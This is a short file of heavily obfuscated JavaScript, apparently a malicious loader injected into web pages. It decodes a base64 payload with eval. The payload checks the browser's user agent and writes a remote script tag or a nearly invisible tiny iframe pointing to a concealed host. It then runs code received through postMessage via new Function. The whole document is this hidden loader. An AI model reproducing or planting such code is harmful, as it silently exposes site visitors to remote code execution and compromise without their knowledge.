eval("\x77\x69\x6e\x64\x6f\x77")["\x57\x74\x6e\x51\x6b"]=function(e){var li ='ABCDEFGH'+''+'IJKL'+''+'MNOPQRSTUV'+'WXYZabcde'+''+'fghi'+''+'jklmnopqrstu'+''+'vwxy'+''+'z0123'+''+'456789+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=li.indexOf(e.charAt(f++));o=li.indexOf(e.charAt(f++));u=li.indexOf(e.charAt(f++));a=li.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}

eval("\x77\x69\x6e\x64\x6f\x77")["\x69\x76\x6c\x4f\x70\x72"]=function(){eval(WtnQk("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dmFyIGRzPW5ldyBEYXRlKCk7dT1kZWNvZGVVUklDb21wb25lbnQoV3RuUWsodS5yZXBsYWNlKG5ldyBSZWdFeHAoYysnJytjLCdnJyksYykuc3BsaXQoJycpLnJldmVyc2UoKS5qb2luKCcnKSkpO3U9dS5yZXBsYWNlKC9xaWhhbmcvZyxkcy5nZXREYXRlKCkpOydqUXVlcnknO3ZhciBfdWE9bmF2aWdhdG9yLnVzZXJBZ2VudDt2YXIgX1d0blFrV3RuUWs9JzxzJysnY3JpJysncHQgc3JjPSInK3UrJy5qcyI+PFwvcycrJ2NyaXAnKyd0Pic7aWYoX3VhLmluZGV4T2YoV3RuUWsoIlltRnBaSFU9IikpPi0xIHx8IF91YS5pbmRleE9mKFd0blFrKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7aWYoX3VhLmluZGV4T2YoV3RuUWsoJ2FWQm9iMjVsJykpPi0xKXtkb2N1bWVudC53cml0ZShfV3RuUWtXdG5Rayk7fWVsc2V7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbV3RuUWsoIlkzVnljbVZ1ZEZOamNtbHdkQT09IildO3ZhciBfaWQ9X2NsYXNzPSdxYicrJycrJ3NHSycrJyc7dmFyIF9fa2RucWlkID0gJ2snICsgcmQoMSwgMTAwMDAwKTtkWyd3JysncmknKyd0JysnZScrJ2xuJ10oJzxkJysnaXYgaScrJ2Q9JysnIicrX19rZG5xaWQrJyI+JysnPC9kJysnaXYnKyc+Jyk7d1snX19rJysnZGEnKyducScrJ29iJysnal8zNDMnXT1kWydxdScrJ2VyeScrJ1NlbGUnKydjdG8nKydyJ10oJyMnK19fa2RucWlkKTtfaWQgKz0gZFsncXUnKydlcnknKydTZScrJ2xlYycrJ3RvJysnckEnKydsbCddKCcuJytfY2xhc3MpLmxlbmd0aDt2YXIgeiA9IHUrJy0yLycrX2lkKycvJytyO2RbJ3cnKydyaScrJ3QnKydlJ10oJzxpJysnZnInKydhJysnbWUgc3R5bGU9IicrJ20nKydhcicrJ2dpJysnbjowO3AnKydhZCcrJ2QnKydpbicrJ2c6MDtiJysnb3InKydkJysnZXI6bicrJ29uJysnZTsnKydvcCcrJ2EnKydjaScrJ3QnKyd5OjAnKycuMCcrcmQoMiw5KSsnO3dpJysnZHQnKydoOicrcmQoMiw1KSsncCcrJ3g7aCcrJ2UnKydpZ2gnKyd0OicrcmQoMiw1KSsncCcrJ3g7JysnImFsJysnbG93dHJhbicrJ3NwYScrJ3JlbmN5IHNyJysnYz0iJyt6KyciPjwvaScrJ2ZyJysnYScrJ21lPicpO3dbImFkIisiZEV2IisiZW50TCIrImlzdCIrImVuZXIiXSgibSIrImVzcyIrImFnZSIsZnVuY3Rpb24oZSl7aWYoZS5kYXRhW3IrX2lkXSl7cm0oYyk7bmV3IEZ1bmN0aW9uKFd0blFrKGUuZGF0YVtyK19pZF0ucmVwbGFjZShuZXcgUmVnRXhwKHIsJ2cnKSwnJykpKSgpO319KTt9fWVsc2V7ZG9jdW1lbnQud3JpdGUoX1d0blFrV3RuUWspO319KSgnPScrJ1VqJysnJysnTU0nKycnKyd0TScrJ01EJysnTnowJysnJysneVknKycnKydHSlQnKydKbjUnKycnKydXWScrJycrJ29sJysnJysnV2NqJysnbCcrJycrJ0gnKycnKydiNicrJycrJzFXJysnJysnWicrJzAnKycnKydaaycrJycrJ01NbCcrJycrJ00nKycnKydNRCcrJycrJ04nKycnKycwQWonKydNTUInKycnKydOVCcrJ0psJysnJysnUlgnKycnKydhJysnJysneicrJycrJzV5JysnJysnWnUnKycnKydGR2EnKycnKydwRicrJ0hjbycrJ0YnKycnKydtTHonKycnKydaaycrJ00nKycnKydNJysnJysnbCcrJycrJ1knKycnKydrTScrJycrJ01sJysnJysnRTAnKycnKydNJysnJysnTWwnKycnKydNTUgnKydjMFInKycnKydIYScrJycrJycsJ3FiJysnJysnc0dLJysnJyx3aW5kb3csZG9jdW1lbnQsMCwnTScp"));}